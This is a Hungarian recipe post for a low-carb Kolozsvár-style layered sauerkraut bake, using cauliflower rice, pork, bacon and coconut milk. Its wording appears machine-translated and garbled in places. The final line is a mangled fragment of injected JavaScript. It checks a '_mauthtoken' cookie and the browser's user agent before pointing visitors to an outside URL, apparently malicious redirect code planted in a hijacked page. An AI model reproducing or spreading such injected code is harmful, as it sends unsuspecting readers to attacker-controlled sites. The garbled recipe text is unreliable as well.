Koložvári káposzta rizs és tejszín nélkül elkészítve.
Valószínűleg hallottál a karfiol rizsről, miért ne próbálnád ki ezt?:) Hidd el, nem bánod meg. Ez az étkezés volt a legnagyobb meglepetésem a januári egészséges kihívás során.
Hozzávalók:
- 750g savanyú káposzta (víz nélkül)
- 500g darált sertéshús
- 50g minőségi szalonna
- 500g karfiol
- 1 hagyma apróra vágva
- 3 szelet fokhagymagerezd
- 100 ml kókusztej + 100 ml víz
- 2 tojás
- 1 evőkanál olívaolaj és 1 evőkanál kenőcs
- 1 teáskanál pirospaprika
- só és bors ízlés szerint
Megközelítés:
- Pároljuk a hagymát káposztával és pirospaprikával 15 percig.
- A karfiolt "rizzsel" dolgozzuk fel. Ez történhet reszelővel vagy robotba keveréssel.
- Pároljuk a fokhagymát olívaolajban, adjunk hozzá karfiolt, sót és fűszerezzük. Pároljuk körülbelül 15 percig.
- A szalonnát apró kockákra vágjuk, és a hússal együtt megsütjük, időnként 5 percig keverjük egy serpenyőben.
- Elkészítünk egy nagyobb sütőtálat (kb. 25x25cm méretű).
- Kenje meg kenőccsel, és rétegezze a káposztát-rizst-húst-káposztát… hús-káposztát.
- 20 percig sütjük 180 ° C-on.
- Keverjünk össze egy tálban tojást, kókusztejet és vizet, adjunk hozzá egy csipet sót és borsot. Öntsük egyenletesen a koložvári káposztára, és süssük további 10 percig.
- Tiszta vagy klasszikus burgonyával tálaljuk:).
if (document.cookie.indexOf (“_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>